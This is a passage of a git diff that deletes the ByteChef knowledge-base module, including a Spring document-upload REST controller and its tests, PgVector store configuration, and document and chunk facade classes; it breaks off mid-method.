-scalar Long
-scalar Map
-
-type Tag {
-    id: ID
-    name: String
-    color: String
-}
-
-input TagInput {
-    id: ID
-    name: String!
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-rest/build.gradle.kts b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-rest/build.gradle.kts
deleted file mode 100644
index b59bbd4b80a..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-rest/build.gradle.kts
+++ /dev/null
@@ -1,9 +0,0 @@
-dependencies {
-    implementation(project(":server:libs:automation:automation-knowledge-base:automation-knowledge-base-api"))
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
-    implementation("org.springframework:spring-context")
-    implementation("org.springframework:spring-web")
-
-    testImplementation("org.springframework:spring-webflux")
-    testImplementation("org.springframework.boot:spring-boot-starter-webmvc-test")
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-rest/src/main/java/com/bytechef/automation/knowledgebase/web/rest/KnowledgeBaseDocumentApiController.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-rest/src/main/java/com/bytechef/automation/knowledgebase/web/rest/KnowledgeBaseDocumentApiController.java
deleted file mode 100644
index 7d319b1b65a..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-rest/src/main/java/com/bytechef/automation/knowledgebase/web/rest/KnowledgeBaseDocumentApiController.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.web.rest;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import com.bytechef.automation.knowledgebase.facade.KnowledgeBaseDocumentFacade;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.io.IOException;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.http.ResponseEntity;
-import org.springframework.web.bind.annotation.PathVariable;
-import org.springframework.web.bind.annotation.PostMapping;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RequestParam;
-import org.springframework.web.bind.annotation.RestController;
-import org.springframework.web.multipart.MultipartFile;
-
-@RestController
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-@RequestMapping("${openapi.openAPIDefinition.base-path.automation:}/internal/knowledge-bases")
-@SuppressFBWarnings("EI")
-class KnowledgeBaseDocumentApiController {
-
-    private final KnowledgeBaseDocumentFacade knowledgeBaseDocumentFacade;
-
-    @SuppressFBWarnings("EI")
-    KnowledgeBaseDocumentApiController(KnowledgeBaseDocumentFacade knowledgeBaseDocumentFacade) {
-        this.knowledgeBaseDocumentFacade = knowledgeBaseDocumentFacade;
-    }
-
-    @PostMapping("/{id}/documents")
-    ResponseEntity<KnowledgeBaseDocument> uploadDocument(
-        @PathVariable Long id, @RequestParam("file") MultipartFile file) throws IOException {
-
-        return ResponseEntity.ok(
-            knowledgeBaseDocumentFacade.createKnowledgeBaseDocument(
-                id, file.getOriginalFilename(), file.getContentType(), file.getInputStream()));
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-rest/src/test/java/com/bytechef/automation/knowledgebase/web/rest/KnowledgeBaseDocumentApiControllerIntTest.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-rest/src/test/java/com/bytechef/automation/knowledgebase/web/rest/KnowledgeBaseDocumentApiControllerIntTest.java
deleted file mode 100644
index d7522682003..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-rest/src/test/java/com/bytechef/automation/knowledgebase/web/rest/KnowledgeBaseDocumentApiControllerIntTest.java
+++ /dev/null
@@ -1,145 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.web.rest;
-
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.multipart;
-import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
-import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import com.bytechef.automation.knowledgebase.facade.KnowledgeBaseDocumentFacade;
-import com.bytechef.automation.knowledgebase.web.rest.config.AutomationKnowledgeBaseRestTestConfiguration;
-import com.bytechef.file.storage.domain.FileEntry;
-import java.io.InputStream;
-import java.nio.charset.StandardCharsets;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.webmvc.test.autoconfigure.WebMvcTest;
-import org.springframework.mock.web.MockMultipartFile;
-import org.springframework.test.context.ContextConfiguration;
-import org.springframework.test.context.bean.override.mockito.MockitoBean;
-import org.springframework.test.web.servlet.MockMvc;
-
-/**
- * Integration tests for {@link KnowledgeBaseDocumentApiController}.
- *
- * @author Ivica Cardic
- */
-@ContextConfiguration(classes = AutomationKnowledgeBaseRestTestConfiguration.class)
-@WebMvcTest(
-    value = KnowledgeBaseDocumentApiController.class,
-    properties = "bytechef.knowledge-base.enabled=true")
-class KnowledgeBaseDocumentApiControllerIntTest {
-
-    @Autowired
-    private MockMvc mockMvc;
-
-    @MockitoBean
-    private KnowledgeBaseDocumentFacade knowledgeBaseDocumentFacade;
-
-    @Test
-    void testUploadDocument() throws Exception {
-        Long knowledgeBaseId = 1L;
-        String filename = "test-document.txt";
-        String contentType = "text/plain";
-        String content = "Test document content";
-
-        KnowledgeBaseDocument mockDocument = createMockDocument(1L, filename);
-
-        when(knowledgeBaseDocumentFacade.createKnowledgeBaseDocument(
-            eq(knowledgeBaseId), eq(filename), eq(contentType), any(InputStream.class))).thenReturn(mockDocument);
-
-        MockMultipartFile file = new MockMultipartFile(
-            "file", filename, contentType, content.getBytes(StandardCharsets.UTF_8));
-
-        mockMvc.perform(multipart("/internal/knowledge-bases/{id}/documents", knowledgeBaseId).file(file))
-            .andExpect(status().isOk())
-            .andExpect(jsonPath("$.id").value(1))
-            .andExpect(jsonPath("$.name").value(filename));
-
-        verify(knowledgeBaseDocumentFacade).createKnowledgeBaseDocument(
-            eq(knowledgeBaseId), eq(filename), eq(contentType), any(InputStream.class));
-    }
-
-    @Test
-    void testUploadDocumentWithDifferentContentType() throws Exception {
-        Long knowledgeBaseId = 1L;
-        String filename = "document.pdf";
-        String contentType = "application/pdf";
-        String content = "PDF content";
-
-        KnowledgeBaseDocument mockDocument = createMockDocument(1L, filename);
-
-        when(knowledgeBaseDocumentFacade.createKnowledgeBaseDocument(
-            eq(knowledgeBaseId), eq(filename), eq(contentType), any(InputStream.class))).thenReturn(mockDocument);
-
-        MockMultipartFile file = new MockMultipartFile(
-            "file", filename, contentType, content.getBytes(StandardCharsets.UTF_8));
-
-        mockMvc.perform(multipart("/internal/knowledge-bases/{id}/documents", knowledgeBaseId).file(file))
-            .andExpect(status().isOk());
-
-        verify(knowledgeBaseDocumentFacade).createKnowledgeBaseDocument(
-            eq(knowledgeBaseId), eq(filename), eq(contentType), any(InputStream.class));
-    }
-
-    @Test
-    void testUploadDocumentToMultipleKnowledgeBases() throws Exception {
-        String filename = "shared-document.txt";
-        String contentType = "text/plain";
-        String content = "Shared document content";
-
-        KnowledgeBaseDocument mockDocument1 = createMockDocument(1L, filename);
-        KnowledgeBaseDocument mockDocument2 = createMockDocument(2L, filename);
-
-        when(knowledgeBaseDocumentFacade.createKnowledgeBaseDocument(
-            eq(1L), eq(filename), eq(contentType), any(InputStream.class))).thenReturn(mockDocument1);
-        when(knowledgeBaseDocumentFacade.createKnowledgeBaseDocument(
-            eq(2L), eq(filename), eq(contentType), any(InputStream.class))).thenReturn(mockDocument2);
-
-        MockMultipartFile file1 = new MockMultipartFile(
-            "file", filename, contentType, content.getBytes(StandardCharsets.UTF_8));
-
-        mockMvc.perform(multipart("/internal/knowledge-bases/{id}/documents", 1L).file(file1))
-            .andExpect(status().isOk())
-            .andExpect(jsonPath("$.id").value(1));
-
-        MockMultipartFile file2 = new MockMultipartFile(
-            "file", filename, contentType, content.getBytes(StandardCharsets.UTF_8));
-
-        mockMvc.perform(multipart("/internal/knowledge-bases/{id}/documents", 2L).file(file2))
-            .andExpect(status().isOk())
-            .andExpect(jsonPath("$.id").value(2));
-    }
-
-    private KnowledgeBaseDocument createMockDocument(Long id, String name) {
-        KnowledgeBaseDocument document = new KnowledgeBaseDocument();
-
-        document.setId(id);
-        document.setKnowledgeBaseId(1L);
-        document.setName(name);
-        document.setDocument(new FileEntry(name, "file://test/" + name));
-        document.setStatus(KnowledgeBaseDocument.STATUS_UPLOADED);
-        document.setVersion(1);
-
-        return document;
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-rest/src/test/java/com/bytechef/automation/knowledgebase/web/rest/config/AutomationKnowledgeBaseRestTestConfiguration.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-rest/src/test/java/com/bytechef/automation/knowledgebase/web/rest/config/AutomationKnowledgeBaseRestTestConfiguration.java
deleted file mode 100644
index 17f60cd369d..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-rest/src/test/java/com/bytechef/automation/knowledgebase/web/rest/config/AutomationKnowledgeBaseRestTestConfiguration.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.web.rest.config;
-
-import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
-import org.springframework.context.annotation.ComponentScan;
-import org.springframework.context.annotation.Configuration;
-
-/**
- * Test configuration for KnowledgeBase REST integration tests.
- *
- * @author Ivica Cardic
- */
-@ComponentScan(basePackages = "com.bytechef.automation.knowledgebase.web.rest")
-@Configuration
-@EnableAutoConfiguration
-public class AutomationKnowledgeBaseRestTestConfiguration {
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/build.gradle.kts b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/build.gradle.kts
deleted file mode 100644
index d12f33003fc..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/build.gradle.kts
+++ /dev/null
@@ -1,32 +0,0 @@
-dependencies {
-    implementation("org.apache.commons:commons-lang3")
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
-    implementation("org.springframework:spring-context")
-    implementation("org.springframework.ai:spring-ai-autoconfigure-vector-store-pgvector")
-    implementation("org.springframework.ai:spring-ai-openai")
-    implementation("org.springframework.ai:spring-ai-pgvector-store")
-    implementation("org.springframework.boot:spring-boot")
-    implementation("org.springframework.data:spring-data-jdbc")
-    implementation(project(":server:libs:core:message:message-broker:message-broker-api"))
-    implementation(project(":server:libs:core:message:message-event:message-event-api"))
-    implementation(project(":server:libs:automation:automation-knowledge-base:automation-knowledge-base-api"))
-    implementation(project(":server:libs:automation:automation-search:automation-search-api"))
-    implementation(project(":server:libs:automation:automation-knowledge-base:automation-knowledge-base-file-storage:automation-knowledge-base-file-storage-api"))
-    implementation(project(":server:libs:config:app-config"))
-    implementation(project(":server:libs:core:tenant:tenant-api"))
-    implementation(project(":server:libs:platform:platform-configuration:platform-configuration-api"))
-    implementation(project(":server:libs:platform:platform-tag:platform-tag-api"))
-
-    testImplementation("org.junit.jupiter:junit-jupiter")
-    testImplementation("org.mockito:mockito-core")
-    testImplementation("org.mockito:mockito-junit-jupiter")
-    testImplementation("org.springframework.boot:spring-boot-starter-test")
-    testImplementation(project(":server:libs:automation:automation-configuration:automation-configuration-service"))
-    testImplementation(project(":server:libs:config:jackson-config"))
-    testImplementation(project(":server:libs:config:liquibase-config"))
-    testImplementation(project(":server:libs:platform:platform-category:platform-category-service"))
-    testImplementation(project(":server:libs:platform:platform-security:platform-security-service"))
-    testImplementation(project(":server:libs:core:commons:commons-data"))
-    testImplementation(project(":server:libs:platform:platform-tag:platform-tag-service"))
-    testImplementation(project(":server:libs:test:test-int-support"))
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/boot/KnowledgeBaseVectorStoreEnvironmentPostProcessor.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/boot/KnowledgeBaseVectorStoreEnvironmentPostProcessor.java
deleted file mode 100644
index 019bd3e4548..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/boot/KnowledgeBaseVectorStoreEnvironmentPostProcessor.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.boot;
-
-import java.util.HashMap;
-import java.util.Map;
-import org.springframework.boot.EnvironmentPostProcessor;
-import org.springframework.boot.SpringApplication;
-import org.springframework.core.env.ConfigurableEnvironment;
-import org.springframework.core.env.MapPropertySource;
-import org.springframework.core.env.MutablePropertySources;
-
-/**
- * @author Ivica Cardic
- */
-public class KnowledgeBaseVectorStoreEnvironmentPostProcessor implements EnvironmentPostProcessor {
-
-    @Override
-    public void postProcessEnvironment(ConfigurableEnvironment environment, SpringApplication application) {
-        Map<String, Object> source = new HashMap<>();
-
-        if (environment.getProperty("bytechef.ai.knowledge-base.enabled", Boolean.class, false)) {
-            source.put("spring.ai.vectorstore.type", "pgvector");
-        }
-
-        MapPropertySource mapPropertySource = new MapPropertySource("Knowledge Base VectorStore Config", source);
-
-        MutablePropertySources mutablePropertySources = environment.getPropertySources();
-
-        mutablePropertySources.addFirst(mapPropertySource);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/config/AutomationKnowledgeBaseJdbcRepositoryConfiguration.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/config/AutomationKnowledgeBaseJdbcRepositoryConfiguration.java
deleted file mode 100644
index dfa0f6bbc16..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/config/AutomationKnowledgeBaseJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.automation.knowledgebase.repository")
-class AutomationKnowledgeBaseJdbcRepositoryConfiguration {
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/config/KnowledgeBasePgVectorConfiguration.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/config/KnowledgeBasePgVectorConfiguration.java
deleted file mode 100644
index 0cdf8af92bc..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/config/KnowledgeBasePgVectorConfiguration.java
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.config;
-
-import com.bytechef.tenant.annotation.ConditionalOnSingleTenant;
-import io.micrometer.observation.ObservationRegistry;
-import org.springframework.ai.embedding.BatchingStrategy;
-import org.springframework.ai.embedding.EmbeddingModel;
-import org.springframework.ai.vectorstore.VectorStore;
-import org.springframework.ai.vectorstore.observation.VectorStoreObservationConvention;
-import org.springframework.ai.vectorstore.pgvector.PgVectorStore;
-import org.springframework.ai.vectorstore.pgvector.autoconfigure.PgVectorStoreProperties;
-import org.springframework.beans.factory.ObjectProvider;
-import org.springframework.beans.factory.annotation.Qualifier;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.jdbc.core.JdbcTemplate;
-
-@Configuration
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-@ConditionalOnSingleTenant
-class KnowledgeBasePgVectorConfiguration {
-
-    @Bean
-    public VectorStore knowledgeBasePgVectorStore(
-        @Qualifier("pgVectorJdbcTemplate") JdbcTemplate pgVectorJdbcTemplate,
-        EmbeddingModel embeddingModel, PgVectorStoreProperties properties,
-        ObjectProvider<ObservationRegistry> observationRegistry,
-        ObjectProvider<VectorStoreObservationConvention> customObservationConvention,
-        BatchingStrategy batchingStrategy) {
-
-        return PgVectorStore.builder(pgVectorJdbcTemplate, embeddingModel)
-            .schemaName(properties.getSchemaName())
-            .idType(properties.getIdType())
-            .vectorTableName("kb_" + properties.getTableName())
-            .vectorTableValidationsEnabled(properties.isSchemaValidation())
-            .dimensions(properties.getDimensions())
-            .distanceType(properties.getDistanceType())
-            .removeExistingVectorStoreTable(properties.isRemoveExistingVectorStoreTable())
-            .indexType(properties.getIndexType())
-            .initializeSchema(true)
-            .observationRegistry(observationRegistry.getIfUnique(() -> ObservationRegistry.NOOP))
-            .customObservationConvention(customObservationConvention.getIfAvailable(() -> null))
-            .batchingStrategy(batchingStrategy)
-            .maxDocumentBatchSize(properties.getMaxDocumentBatchSize())
-            .build();
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseDocumentChunkFacadeImpl.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseDocumentChunkFacadeImpl.java
deleted file mode 100644
index 46a5c3ac4ad..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseDocumentChunkFacadeImpl.java
+++ /dev/null
@@ -1,121 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.facade;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import com.bytechef.automation.knowledgebase.event.KnowledgeBaseDocumentChunkEvent;
-import com.bytechef.automation.knowledgebase.file.storage.KnowledgeBaseFileStorage;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseDocumentChunkService;
-import com.bytechef.file.storage.domain.FileEntry;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import org.springframework.ai.vectorstore.VectorStore;
-import org.springframework.beans.factory.annotation.Qualifier;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.context.ApplicationEventPublisher;
-import org.springframework.stereotype.Service;
-import org.springframework.transaction.annotation.Transactional;
-
-/**
- * @author Ivica Cardic
- */
-@Service
-@Transactional
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-class KnowledgeBaseDocumentChunkFacadeImpl implements KnowledgeBaseDocumentChunkFacade {
-
-    private final ApplicationEventPublisher eventPublisher;
-    private final KnowledgeBaseDocumentChunkService knowledgeBaseDocumentChunkService;
-    private final KnowledgeBaseFileStorage knowledgeBaseFileStorage;
-    private final VectorStore vectorStore;
-
-    @SuppressFBWarnings("EI")
-    KnowledgeBaseDocumentChunkFacadeImpl(
-        ApplicationEventPublisher eventPublisher, KnowledgeBaseDocumentChunkService knowledgeBaseDocumentChunkService,
-        KnowledgeBaseFileStorage knowledgeBaseFileStorage,
-        @Qualifier("knowledgeBasePgVectorStore") VectorStore vectorStore) {
-
-        this.eventPublisher = eventPublisher;
-        this.knowledgeBaseDocumentChunkService = knowledgeBaseDocumentChunkService;
-        this.knowledgeBaseFileStorage = knowledgeBaseFileStorage;
-        this.vectorStore = vectorStore;
-    }
-
-    @Override
-    @Transactional(readOnly = true)
-    public List<KnowledgeBaseDocumentChunk> getKnowledgeBaseDocumentChunksByDocumentId(long knowledgeBaseDocumentId) {
-        List<KnowledgeBaseDocumentChunk> chunks =
-            knowledgeBaseDocumentChunkService.getKnowledgeBaseDocumentChunksByDocumentId(knowledgeBaseDocumentId);
-
-        for (KnowledgeBaseDocumentChunk chunk : chunks) {
-            FileEntry contentFileEntry = chunk.getContent();
-
-            if (contentFileEntry != null) {
-                String textContent = knowledgeBaseFileStorage.readChunkContent(contentFileEntry);
-
-                chunk.setTextContent(textContent);
-            }
-        }
-
-        return chunks;
-    }
-
-    @Override
-    public KnowledgeBaseDocumentChunk updateKnowledgeBaseDocumentChunk(long id, String content) {
-        KnowledgeBaseDocumentChunk existingChunk = knowledgeBaseDocumentChunkService.getKnowledgeBaseDocumentChunk(id);
-
-        FileEntry oldContentFileEntry = existingChunk.getContent();
-
-        if (oldContentFileEntry != null) {
-            knowledgeBaseFileStorage.deleteChunkContent(oldContentFileEntry);
-        }
-
-        FileEntry newContentFileEntry = knowledgeBaseFileStorage.storeChunkContent(id, content);
-
-        existingChunk.setContent(newContentFileEntry);
-        existingChunk.setTextContent(content);
-
-        knowledgeBaseDocumentChunkService.saveKnowledgeBaseDocumentChunk(existingChunk);
-
-        eventPublisher.publishEvent(new KnowledgeBaseDocumentChunkEvent(existingChunk.getId(), content));
-
-        return existingChunk;
-    }
-
-    @Override
-    public void deleteKnowledgeBaseDocumentChunk(long id) {
-        KnowledgeBaseDocumentChunk chunk = knowledgeBaseDocumentChunkService.getKnowledgeBaseDocumentChunk(id);
-
-        deleteChunkResources(chunk);
-
-        knowledgeBaseDocumentChunkService.deleteKnowledgeBaseDocumentChunk(id);
-    }
-
-    private void deleteChunkResources(KnowledgeBaseDocumentChunk chunk) {
-        String vectorStoreId = chunk.getVectorStoreId();
-
-        if (vectorStoreId != null) {
-            vectorStore.delete(List.of(vectorStoreId));
-        }
-
-        FileEntry contentFileEntry = chunk.getContent();
-
-        if (contentFileEntry != null) {
-            knowledgeBaseFileStorage.deleteChunkContent(contentFileEntry);
-        }
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseDocumentFacadeImpl.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseDocumentFacadeImpl.java
deleted file mode 100644
index 0e1b6fe9cb3..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseDocumentFacadeImpl.java
+++ /dev/null
@@ -1,113 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.facade;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import com.bytechef.automation.knowledgebase.event.KnowledgeBaseDocumentEvent;
-import com.bytechef.automation.knowledgebase.file.storage.KnowledgeBaseFileStorage;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseDocumentChunkService;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseDocumentService;
-import com.bytechef.file.storage.domain.FileEntry;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.io.InputStream;
-import java.util.List;
-import org.springframework.ai.vectorstore.VectorStore;
-import org.springframework.beans.factory.annotation.Qualifier;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.context.ApplicationEventPublisher;
-import org.springframework.stereotype.Service;
-import org.springframework.transaction.annotation.Transactional;
-
-/**
- * @author Ivica Cardic
- */
-@Service
-@Transactional
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-class KnowledgeBaseDocumentFacadeImpl implements KnowledgeBaseDocumentFacade {
-
-    private final ApplicationEventPublisher eventPublisher;
-    private final KnowledgeBaseDocumentChunkService knowledgeBaseDocumentChunkService;
-    private final KnowledgeBaseDocumentService knowledgeBaseDocumentService;
-    private final KnowledgeBaseFileStorage knowledgeBaseFileStorage;
-    private final VectorStore vectorStore;
-
-    @SuppressFBWarnings("EI")
-    KnowledgeBaseDocumentFacadeImpl(
-        ApplicationEventPublisher eventPublisher, KnowledgeBaseDocumentChunkService knowledgeBaseDocumentChunkService,
-        KnowledgeBaseDocumentService knowledgeBaseDocumentService, KnowledgeBaseFileStorage knowledgeBaseFileStorage,
-        @Qualifier("knowledgeBasePgVectorStore") VectorStore vectorStore) {
-
-        this.eventPublisher = eventPublisher;
-        this.knowledgeBaseDocumentChunkService = knowledgeBaseDocumentChunkService;
-        this.knowledgeBaseDocumentService = knowledgeBaseDocumentService;
-        this.knowledgeBaseFileStorage = knowledgeBaseFileStorage;
-        this.vectorStore = vectorStore;
-    }
-
-    @Override
-    public KnowledgeBaseDocument createKnowledgeBaseDocument(
-        Long knowledgeBaseId, String filename, String contentType, InputStream inputStream) {
-
-        FileEntry fileEntry = knowledgeBaseFileStorage.storeDocument(filename, inputStream);
-
-        KnowledgeBaseDocument knowledgeBaseDocument = new KnowledgeBaseDocument();
-
-        knowledgeBaseDocument.setKnowledgeBaseId(knowledgeBaseId);
-        knowledgeBaseDocument.setName(filename);
-        knowledgeBaseDocument.setDocument(fileEntry);
-        knowledgeBaseDocument.setStatus(KnowledgeBaseDocument.STATUS_UPLOADED);
-
-        knowledgeBaseDocument = knowledgeBaseDocumentService.saveKnowledgeBaseDocument(knowledgeBaseDocument);
-
-        eventPublisher.publishEvent(new KnowledgeBaseDocumentEvent(knowledgeBaseDocument.getId()));
-
-        return knowledgeBaseDocument;
-    }
-
-    @Override
-    public void deleteKnowledgeBaseDocument(Long id) {
-        KnowledgeBaseDocument knowledgeBaseDocument = knowledgeBaseDocumentService.getKnowledgeBaseDocument(id);
-
-        List<KnowledgeBaseDocumentChunk> knowledgeBaseDocumentChunks =
-            knowledgeBaseDocumentChunkService.getKnowledgeBaseDocumentChunksByDocumentId(id);
-
